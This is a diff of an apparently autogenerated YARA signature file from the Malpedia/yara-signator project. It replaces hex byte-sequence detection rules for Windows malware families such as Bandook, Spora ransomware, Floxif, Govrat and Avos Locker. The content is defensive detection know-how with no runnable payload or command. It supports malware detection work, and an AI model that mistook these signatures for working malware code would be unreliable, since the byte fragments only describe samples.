+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zloader_auto.yar#L1-L384"
 		license_url = "N/A"
-		logic_hash = "d695c77bc8945b310c81d69b92952d60e6bda737f194777e74e4b6ebb23f8272"
+		logic_hash = "d615cfd8aec428fea853159c669b5f75c64755d955e56d958f0ce28518a00d78"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -165767,32 +173049,62 @@ rule MALPEDIA_Win_Bandook_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? ffd6 68???????? 6a01 6a00 ff15???????? 68e8030000 }
-		$sequence_1 = { 8b7c2410 8d442438 50 53 ff15???????? 85c0 0f8529ffffff }
-		$sequence_2 = { 8d95f8f3ffff 8bce 2bd6 0f1f00 8a01 8d4901 }
-		$sequence_3 = { ff15???????? ff35???????? ff15???????? 68???????? 68???????? 8d8424a8010000 68???????? }
-		$sequence_4 = { 8bf9 897da0 8b7308 8d4dbc 897d9c 6a24 68???????? }
-		$sequence_5 = { 83e103 f3a4 8d442428 50 53 ff15???????? 85c0 }
-		$sequence_6 = { 51 e8???????? 83c408 837dbc10 8d45a8 0f4345a8 50 }
-		$sequence_7 = { 88811744c213 84c0 75ed 0fb605???????? f30f7e05???????? a2???????? a1???????? }
-		$sequence_8 = { c705????????80381713 c705????????003a1713 c705????????c03f1713 c705????????80401713 c705????????c0491713 c705????????704b1713 c705????????30451713 }
-		$sequence_9 = { 83c40c 8d842498040000 6a64 50 6a07 6800040000 ff15???????? }
+		$sequence_0 = { 57 6a01 56 ffd0 89f7 89f8 }
+		$sequence_1 = { 57 56 83ec0c 8b5d0c 8b7d10 8d75e8 89f1 }
+		$sequence_2 = { 55 89e5 56 8b7508 ff36 e8???????? 83c404 }
+		$sequence_3 = { 0fb7450c 8d9df0feffff 53 50 ff7508 e8???????? }
+		$sequence_4 = { 57 56 8b7d08 57 e8???????? }
+		$sequence_5 = { 0fb7c0 57 50 53 e8???????? 83c40c 89f1 }
+		$sequence_6 = { 53 56 83ec0c 8d75ec 56 6aff }
+		$sequence_7 = { 55 89e5 56 8b750c ff7508 e8???????? 83c404 }
+		$sequence_8 = { 56 50 a1???????? 89c1 }
+		$sequence_9 = { 5e 8bc3 5b c3 8b44240c }
+		$sequence_10 = { 68???????? ff742408 e8???????? 59 59 84c0 741e }
+		$sequence_11 = { e8???????? 59 84c0 7432 68???????? ff742408 e8???????? }
+		$sequence_12 = { 57 56 50 8b4510 31db }
+		$sequence_13 = { e8???????? 03c0 6689442438 8b442438 }
+		$sequence_14 = { 6aff 50 e8???????? 8d857cffffff 50 }
+		$sequence_15 = { 50 89542444 e8???????? 03c0 }
+		$sequence_16 = { 6689442438 8b442438 83c002 668944243a }
+		$sequence_17 = { 83c414 c3 56 ff742410 }
+		$sequence_18 = { 99 52 50 8d44243c 99 52 50 }
+		$sequence_19 = { c6043000 5e c3 56 57 8b7c2414 83ffff }
+		$sequence_20 = { 50 56 56 56 ff7514 }
+		$sequence_21 = { 83c408 5e 5d c3 55 89e5 57 }
+		$sequence_22 = { 6a00 e8???????? 83c414 c3 8b542404 }
+		$sequence_23 = { c7462401000000 c7462800004001 e8???????? 89460c }
+		$sequence_24 = { 81c4a8020000 5e 5f 5b }
+		$sequence_25 = { 55 89e5 53 57 56 81eca8020000 }
+		$sequence_26 = { e9???????? 31c0 83c40c 5e 5f }
+		$sequence_27 = { 0bc3 a3???????? e8???????? 8bc8 eb06 8b0d???????? 85c9 }
+		$sequence_28 = { 89b42430010000 8b842430010000 8b842430010000 890424 c74424041c010000 e8???????? }
+		$sequence_29 = { 89cf 8d0476 8945ec 890424 }
+		$sequence_30 = { 50 6a72 e8???????? 59 }
+		$sequence_31 = { 56 57 ff750c 33db 68???????? 6880000000 50 }
+		$sequence_32 = { 8bc2 ebf7 8d442410 50 ff742410 ff742410 ff742410 }
+		$sequence_33 = { 56 68???????? ff742410 e8???????? 6823af2930 56 ff742410 }
+		$sequence_34 = { 50 e8???????? 68???????? 56 e8???????? 8bf0 59 }
+		$sequence_35 = { 5f 5e 5b c3 8bc2 ebf8 53 }
+		$sequence_36 = { 33f6 e8???????? ff7508 8d85f0fdffff 68???????? }
+		$sequence_37 = { 68???????? 56 e8???????? 5e c3 56 }
+		$sequence_38 = { 8d85f0fdffff 68???????? 6804010000 50 e8???????? 83c414 8d45fc }
+		$sequence_39 = { 8bc2 ebf8 53 8b5c240c 55 33ed }
 
 	condition:
-		7 of them and filesize <23088128
+		7 of them and filesize <1105920
 }
-rule MALPEDIA_Win_Getmail_Auto : FILE
+rule MALPEDIA_Win_Spora_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "44034b05-2864-56ad-b1e2-ce75dcdcb73e"
+		id = "8b8ba74c-729e-5b95-8216-285cfd8906d9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.getmail_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spora_ransom_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "cb48fd93bd0d8eb21e02a5c1c72974fd0280a8132ab759131eea2bb4b2c53aaf"
+		logic_hash = "4f4859e5c4c90863719bd127457464f7d14cd9fd2e5234c00f8157e8748b1142"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165806,34 +173118,34 @@ rule MALPEDIA_Win_Getmail_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 896c2460 e8???????? 8d4c2420 8d9424cc000000 51 8d8424a8000000 52 }
-		$sequence_1 = { c68424d000000004 8b040a 813803000930 7508 8b5808 d1eb 80e301 }
-		$sequence_2 = { 55 ffd7 68???????? 55 a3???????? ffd7 8b0d???????? }
-		$sequence_3 = { 50 8b10 ff5208 391d???????? 0f84a2000000 a1???????? }
-		$sequence_4 = { 0f8285feffff 33db 50 e8???????? 83c404 8b442458 50 }
-		$sequence_5 = { c3 57 e8???????? 83c404 3bc5 89432c }
-		$sequence_6 = { 83f961 7208 83f97a 7703 83e957 c0e004 }
-		$sequence_7 = { 8d8c249c000000 8894249c000000 e8???????? 8a442413 6a00 8d8c24ac000000 c68424d400000005 }
-		$sequence_8 = { 8bfe 8b11 2bf8 03c5 57 50 }
-		$sequence_9 = { 8b8424d8000000 33db 3bc3 899c24cc000000 7505 b8???????? 8b8c24dc000000 }
+		$sequence_0 = { 6a3a 8d4641 668945f0 58 ff7510 668945f2 ff750c }
+		$sequence_1 = { f6c301 742c 6a3a 8d4641 668945f0 58 ff7510 }
+		$sequence_2 = { 897df4 85ff 747a 834d08ff }
+		$sequence_3 = { 834d08ff 8d45f8 50 57 8d4508 50 }
+		$sequence_4 = { 8d4641 668945f0 58 ff7510 668945f2 ff750c 33c0 }
+		$sequence_5 = { 33c0 668945f4 8d45f0 50 ff15???????? 50 8d45f0 }
+		$sequence_6 = { 0fb600 48 50 ff36 ff15???????? 85c0 }
+		$sequence_7 = { c745c800040000 33f6 8d45c4 50 ff15???????? 85c0 750e }
+		$sequence_8 = { 50 ff15???????? 85c0 7466 56 57 bf00020000 }
+		$sequence_9 = { 0bf0 57 ff15???????? 5f 8bc6 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Beepservice_Auto : FILE
+rule MALPEDIA_Win_Floxif_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1d7d7c47-2c0e-5f10-8d42-753504cd309b"
+		id = "dcbc6afb-5640-594e-8001-abd00982f671"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.beepservice_auto.yar#L1-L282"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.floxif_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "1b28ba46a772486fbc8465a9c3e2af5f383317dc6efaca43bb04db774c11995d"
+		logic_hash = "0032adeaefefb80d7e1e935d3a462c453aec0c986c2f0bdf2924a1a8da50b164"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -165845,51 +173157,32 @@ rule MALPEDIA_Win_Beepservice_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 8bc8 ff15???????? 50 }
-		$sequence_1 = { 8b0d???????? 68???????? ffd6 8bc8 }
-		$sequence_2 = { e8???????? 83f801 7505 e8???????? 68???????? 68???????? }
-		$sequence_3 = { 7512 6888130000 68???????? e8???????? 83c408 }
-		$sequence_4 = { 83c408 e9???????? 68???????? e8???????? 83c404 6a00 }
-		$sequence_5 = { 683f000f00 6a00 68???????? ff15???????? }
-		$sequence_6 = { ff7604 68???????? e8???????? ff7608 e8???????? 83c40c }
-		$sequence_7 = { 83ffff 750e ff15???????? 50 68???????? eb43 }
-		$sequence_8 = { 68???????? 57 ff15???????? 85c0 741c 3975fc }
-		$sequence_9 = { ff7604 e8???????? 83f814 59 }
-		$sequence_10 = { e8???????? 83f820 59 730f ff7618 68???????? e8???????? }
-		$sequence_11 = { e8???????? ff7610 e8???????? 50 ff7610 53 e8???????? }
-		$sequence_12 = { 83c410 8d4c2408 6a00 6a00 }
-		$sequence_13 = { bf???????? a3???????? 83c404 a3???????? a3???????? 66a3???????? f3ab }
-		$sequence_14 = { 85c0 742b 817c240400240000 7521 56 }
-		$sequence_15 = { ffd7 8d442414 50 56 }
-		$sequence_16 = { 8bca 83e103 f3a4 8b7314 83c9ff 8bfe }
-		$sequence_17 = { e8???????? 83c404 50 8b4d0c 8b5114 }
-		$sequence_18 = { e8???????? 83c408 33c0 e9???????? c785f8fdffff00240000 6a00 8d95f4fdffff }
-		$sequence_19 = { 8b0d???????? ff15???????? 8bc8 ff15???????? 8b15???????? 52 }
-		$sequence_20 = { 8b511c 52 e8???????? 83c404 83f820 }
-		$sequence_21 = { 6a01 6a00 6a00 6a05 e8???????? 83c414 }
-		$sequence_22 = { e8???????? 6a00 6a00 b907000000 6a00 }
-		$sequence_23 = { c3 68e8030000 6a02 6a00 6a00 6a02 }
-		$sequence_24 = { 6a04 e8???????? 83c414 85c0 7510 ff15???????? }
-		$sequence_25 = { 50 53 c744241428010000 e8???????? }
-		$sequence_26 = { bf???????? 83c9ff 33d2 b301 f2ae f7d1 49 }
-		$sequence_27 = { b90a000000 be???????? bf???????? 33c0 f3a5 bf???????? 83c9ff }
-		$sequence_28 = { 52 89442424 ff15???????? 8bf0 85f6 7505 }
+		$sequence_0 = { e8???????? 8945fc 837dfc02 7709 c745f401000000 eb09 8b45fc }
+		$sequence_1 = { 3955f4 0f83c9000000 68???????? e8???????? }
+		$sequence_2 = { 8b55fc c70200000000 8b45fc c7401000000000 8b45fc 8be5 }
+		$sequence_3 = { c645e500 c645e6e1 c645e700 c645e87d c645e973 c645ea7a c645eb30 }
+		$sequence_4 = { c645e500 c645e6bb c645e700 c645e828 c645e92b c645ea23 }
+		$sequence_5 = { 7505 e9???????? 837dd800 7406 837dd805 7502 eb92 }
+		$sequence_6 = { 83ec14 894df8 8b45f8 8b4808 }
+		$sequence_7 = { ebaa 8d4d08 e8???????? 3945fc 7526 8d4d18 e8???????? }
+		$sequence_8 = { 8b55fc 837a0400 7507 e8???????? eb11 8b4dfc e8???????? }
+		$sequence_9 = { e8???????? e8???????? 83c410 eb44 83ec10 8bcc 8d5508 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Mgbot_Auto : FILE
+rule MALPEDIA_Win_Lethic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dd03dc94-bb3a-5cad-8f13-4bbe4b7f90a6"
+		id = "89881c0c-ddd2-5773-9144-03db6590b3cc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mgbot_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lethic_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "7310ce51cc81391fc78e9881bf8f490b2a783d4789728f7661df3e6bdca512d7"
+		logic_hash = "3125ec39e54752d0947a08a6149f6c0dbb19d9ccd38ebef90b278b6227c3cc5c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165903,32 +173196,32 @@ rule MALPEDIA_Win_Mgbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6808020000 e8???????? 6804010000 8bf0 6a00 }
-		$sequence_1 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 e8???????? }
-		$sequence_2 = { 5b 8be5 5d c20800 6808020000 }
-		$sequence_3 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 }
-		$sequence_4 = { 8be5 5d c20800 6808020000 e8???????? }
-		$sequence_5 = { 6808020000 e8???????? 6804010000 8bf0 }
-		$sequence_6 = { 5d c20800 6808020000 e8???????? }
-		$sequence_7 = { 8be5 5d c20800 6808020000 }
-		$sequence_8 = { 5b 8be5 5d c20800 6808020000 e8???????? }
-		$sequence_9 = { 0f8553ffffff 5f 33c0 5e }
+		$sequence_0 = { 837df400 7507 33c0 e9???????? 8b55f4 8b4218 }
+		$sequence_1 = { 33c0 e9???????? 8b45fc 8b4d10 894804 }
+		$sequence_2 = { 50 8b4dfc 83c108 51 8b55f4 }
+		$sequence_3 = { 8b45fc 8b08 894dfc ebec 8b55fc }
+		$sequence_4 = { eb42 6a10 8b55fc 83c208 52 }
+		$sequence_5 = { ebec 8b55fc 8b45f4 8b08 890a 8b55fc }
+		$sequence_6 = { 8945fc c745f801000000 837dfc00 7507 33c0 e9???????? 8b45fc }
+		$sequence_7 = { 3b55f8 7411 8b45fc c60000 }
+		$sequence_8 = { 8b08 890a 8b55fc 8b02 8945fc 8b4df4 51 }
+		$sequence_9 = { eb42 6a10 8b55fc 83c208 52 8b45fc 8b4818 }
 
 	condition:
-		7 of them and filesize <1677312
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Blindingcan_Auto : FILE
+rule MALPEDIA_Win_Unidentified_108_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb880a40-09fd-57de-a5ce-976bc164d187"
+		id = "91d0ee32-15d3-5f4b-b0c7-e219a3fb056f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blindingcan_auto.yar#L1-L180"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_108_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "7d6669fb427721c8bcc6cd766a15275abac3a422e034ffec946a676b43de9099"
+		logic_hash = "bc8d7e8276cd214c62a44b786052de8d0d6c82c70c52e7e29cb797627cab2825"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165942,38 +173235,32 @@ rule MALPEDIA_Win_Blindingcan_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 68???????? 68???????? ff15???????? 689c040000 85c0 }
-		$sequence_1 = { 750a 8b10 8994bdfcfdffff 47 83c00c 49 }
-		$sequence_2 = { c785bcfdffff661fcba8 c785c0fdffffc0f0d181 c785c4fdffff1f08c3d4 c785c8fdffff28edbc6a c785ccfdffff12aff210 }
-		$sequence_3 = { c745e4ef0dfff5 c745e85acd9c1d c745ec36c2f964 c745f0a70d9fae c745f48f2aedf1 }
-		$sequence_4 = { c78594feffff657f9183 c78598feffffa78b5b05 c7859cfeffff87f53e0c c785a0feffff074f9b22 }
-		$sequence_5 = { c745ac84b1df57 c745b0c8cbfee9 c745b4567e337f c745b8e958e686 }
-		$sequence_6 = { c78548feffffdfc2f62c c7854cfeffff17516633 c78550fefffff76c7e7e c78554feffffa14b0c27 c78558feffff10c0aac6 c7855cfeffff489a8471 c78560feffff9cab4ad6 }
-		$sequence_7 = { 740c a810 7408 c68435a8fcffff01 46 83fe1a }
-		$sequence_8 = { f7fe 8bca e8???????? 85c0 7409 e8???????? }
-		$sequence_9 = { 55 4154 4155 488da8e8f3ffff 4881ec000d0000 488b05???????? 4833c4 }
-		$sequence_10 = { 8bd5 664489642422 6689442420 895c2428 e8???????? 8bd3 488bcf }
-		$sequence_11 = { 85c0 751b e8???????? 4885c0 7461 448bc7 488d55c0 }
-		$sequence_12 = { 81e909200000 746e 83e907 745f ffc9 744d ffc9 }
-		$sequence_13 = { 410fb6c4 0fb68c2810be0100 41335518 400fb6c6 0fb6842810be0100 c1e108 33c8 }
-		$sequence_14 = { 488b4dc8 488d45c0 4c8d4db0 4889442428 488d0552d30100 488d1586340100 4533c0 }
-		$sequence_15 = { ff15???????? 4883ceff 4c8be8 4889442440 483bc6 752d ff15???????? }
+		$sequence_0 = { 488d05c7580100 4a8b0ce8 42385cf938 7d4f 400fbece 4084f6 }
+		$sequence_1 = { 0f8493010000 488d2d3a100100 83635000 83632c00 e9???????? 48ff4318 837b2800 }
+		$sequence_2 = { 660feb0d???????? 4c8d0d44950000 f20f5cca f2410f590cc1 660f28d1 660f28c1 4c8d0d0b850000 }
+		$sequence_3 = { 7426 488d5540 803201 488d5201 41ffc0 488d4540 498bcc }
+		$sequence_4 = { 4c8d05a8310100 83e23f 488d14d2 498b04c0 f644d03801 }
+		$sequence_5 = { 488d1dd6db0100 458bc5 498bcc 48ffc1 4438040b 75f7 4885c9 }
+		$sequence_6 = { 458bc5 498bc4 90 48ffc0 44380401 }
+		$sequence_7 = { 0fb6557f 4889451f 83f201 488d05dbc90000 49c1e302 4889452f 03d2 }
+		$sequence_8 = { 488d9588000000 803201 488d5201 41ffc0 488d8588000000 }
+		$sequence_9 = { 7350 488bca 4c8d051d310100 83e13f 488bc2 48c1f806 }
 
 	condition:
-		7 of them and filesize <363520
+		7 of them and filesize <307200
 }
-rule MALPEDIA_Win_Wininetloader_Auto : FILE
+rule MALPEDIA_Win_Govrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1f5f1063-d131-51ec-8fa2-72e334bf0ad8"
+		id = "1d47ae50-0c56-5989-81a0-8fdce95f6d20"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wininetloader_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.govrat_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "18fd24bb687ec61c125dfaa2108b7d0deaa39d2f9fd1538d0119b221d934fb42"
+		logic_hash = "fd342f7d8be9492612f2ff02091e469b143bdad77d63d3ee372225f78d66c202"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -165987,19 +173274,19 @@ rule MALPEDIA_Win_Wininetloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7510 0fb611 0fb6c2 80fa28 7423 80fa29 741e }
-		$sequence_1 = { 4c8bac2480000000 90 493bdf 74db 0fb633 498bcd 410fb61424 }
-		$sequence_2 = { 48897c2460 4d8bc5 488b542438 488bc8 e8???????? 4b8d042e 4889442458 }
-		$sequence_3 = { 90 488d5508 48837d2008 480f435508 488b4518 4c8d0c42 4c8d4508 }
-		$sequence_4 = { e8???????? 3a03 7516 488bcf e8???????? 4c8b45f8 488b4df0 }
-		$sequence_5 = { 4c8be0 4889442450 4885db 7427 488b03 488bcb 488b4010 }
-		$sequence_6 = { 4c894d08 33db 448bf3 895c2470 49395910 752b 488d15b6ea1100 }
-		$sequence_7 = { 3a8c2ab8a80e00 0f8585000000 488b03 48ffc2 8a08 48ffc0 488903 }
-		$sequence_8 = { 488d1d48970500 807e5704 7704 488b5e48 48ffc7 803c3b00 75f7 }
-		$sequence_9 = { eb21 48c74424200f000000 4c8d0d54fd0900 4533c0 418d500f 488d4c2430 e8???????? }
+		$sequence_0 = { 7725 0fb74002 8d709f 6683fe19 7702 03c2 6685c0 }
+		$sequence_1 = { ff37 e8???????? 894620 85c0 7507 b80e000780 5f }
+		$sequence_2 = { e8???????? 83ec1c 8bf4 8965b4 }
+		$sequence_3 = { e8???????? 6aff 53 8d4db0 51 c645fc06 e8???????? }
+		$sequence_4 = { 837dc808 8b75b4 7303 8d75b4 53 51 68???????? }
+		$sequence_5 = { 8d7c2428 ab ab 7548 8d442464 50 }
+		$sequence_6 = { 0183f0bc0300 8393f4bc030000 e8???????? eb1d 8b45fc 2b45f0 ff75fc }
+		$sequence_7 = { 7311 c70485????????e8814300 40 a3???????? c3 55 8bec }
+		$sequence_8 = { 83ec18 56 8bf1 8b4610 8955f8 8945f4 83f804 }
+		$sequence_9 = { 85f6 7403 832600 837d1000 0f8690000000 8b5d08 }
 
 	condition:
-		7 of them and filesize <2659328
+		7 of them and filesize <761856
 }
 rule MALPEDIA_Win_Dairy_Auto : FILE
 {
@@ -166038,20 +173325,59 @@ rule MALPEDIA_Win_Dairy_Auto : FILE
 		$sequence_9 = { 81e3ff030080 7908 4b 81cb00fcffff 43 2bc3 33ff }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <212992
+}
+rule MALPEDIA_Win_Mapiget_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "51e9978a-f3a2-5a57-b2db-e31705d960d6"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mapiget_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "0c633dd4b3de0327e913721fdea6a98365647ad6509020036346423432ca814a"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 773c 33d2 8a9178154000 ff24956c154000 6683780400 }
+		$sequence_1 = { 75f4 8d0c49 5e 8d0c8dd8ea4000 3bc1 }
+		$sequence_2 = { 52 e8???????? 83c404 6683bc456effffff0a 7517 8d8570ffffff }
+		$sequence_3 = { 8d95f0f9ffff 6800020000 52 e8???????? 83c40c 85c0 0f84c1010000 }
+		$sequence_4 = { 741e 8bc7 8bcf c1f805 83e11f 8b048520174100 8d04c8 }
+		$sequence_5 = { e8???????? 8b54240c 83c408 52 }
+		$sequence_6 = { 8d85f0feffff 8d8d70ffffff 50 8d95f0fdffff }
+		$sequence_7 = { 85c0 7520 8d8df0f9ffff 8d95f0fdffff 51 52 }
+		$sequence_8 = { 83c404 3bf7 0f846bfdffff 56 }
+		$sequence_9 = { c705????????0d000000 c3 8b04d5540c4100 a3???????? c3 81f9bc000000 }
+
+	condition:
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Backswap_Auto : FILE
+rule MALPEDIA_Win_Avos_Locker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8b9036c3-1342-5fdd-b202-655dad83c8d1"
+		id = "7ba0a3b7-52b3-54b0-beef-ae9816fdb70a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backswap_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.avos_locker_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a378488e042d6e06f37e68439e6beddf9b3f11fc0a2449d478058f24368f291d"
+		logic_hash = "20760e04f44624b7366badbec4c361401e8cc12f236ee2efc4fb15277f942fc5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166065,32 +173391,32 @@ rule MALPEDIA_Win_Backswap_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5f 5a 5b c9 c21000 83f0ff 5e }
-		$sequence_1 = { 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 e9???????? }
-		$sequence_2 = { 33d2 8bdf 4b eb1c 85c9 }
-		$sequence_3 = { eb1c 85c9 7508 3bdf 7404 }
-		$sequence_4 = { ebd4 3c3f 74c4 3c2a 7508 8bdf 897508 }
-		$sequence_5 = { f366a5 59 5f 5e c9 c20c00 55 }
-		$sequence_6 = { 74ed 33c0 eb04 8bc6 }
-		$sequence_7 = { 4b eb1c 85c9 7508 3bdf 7404 8bce }
-		$sequence_8 = { 83f0ff 5e 5f 5a 5b }
-		$sequence_9 = { 7482 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 }
+		$sequence_0 = { 8d85a8f9ffff 50 8d85fcf5ffff 50 8d8514f6ffff 50 83ec18 }
+		$sequence_1 = { 8b4024 ffd0 c645fc0a c78598f9ffff00000000 c7859cf9ffff00000000 8b08 898d98f9ffff }
+		$sequence_2 = { 59 3b4580 7359 807d8600 8a8848ef4900 8b857cffffff 8808 }
+		$sequence_3 = { 8d8d05efffff e8???????? 8a8d23f0ffff 8808 46 ebbd 6a22 }
+		$sequence_4 = { 53 50 e8???????? 83c408 c745fcffffffff 57 8b45d8 }
+		$sequence_5 = { 8bd3 3ac1 7501 46 42 8a02 84c0 }
+		$sequence_6 = { c745e800000000 660fd645e4 837de810 8945d4 8b75cc 0f43d0 8b45d0 }
+		$sequence_7 = { 33c5 50 8d45f4 64a300000000 8b4d0c 8b4508 81f900100000 }
+		$sequence_8 = { 8a42ff 84c0 75eb 81fe59ee4ef8 740b 8b7118 85ff }
+		$sequence_9 = { 89958cecffff c645fc35 8bca 8d7102 668b01 83c102 6685c0 }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <1701888
 }
-rule MALPEDIA_Win_Comebacker_Auto : FILE
+rule MALPEDIA_Win_Icondown_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "af10d661-f74a-5650-87c7-273e1e7e9537"
+		id = "5fb05a25-c3d8-5c59-95d8-0506e8a3c86e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.comebacker_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icondown_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "4674cd33cc3ed96f3f2fa7f30959d540c5b651afcce920e84c014122f3c7af23"
+		logic_hash = "0c8c45a1ce9a6284204f7a9a1969d67da5f4271a6aa51c70c6faebd789509deb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166104,39 +173430,34 @@ rule MALPEDIA_Win_Comebacker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6683f809 7f04 0430 eb02 }
-		$sequence_1 = { 4c8d0d7ad60300 8d5049 8d48e0 448d4013 c7442420bb020000 e8???????? }
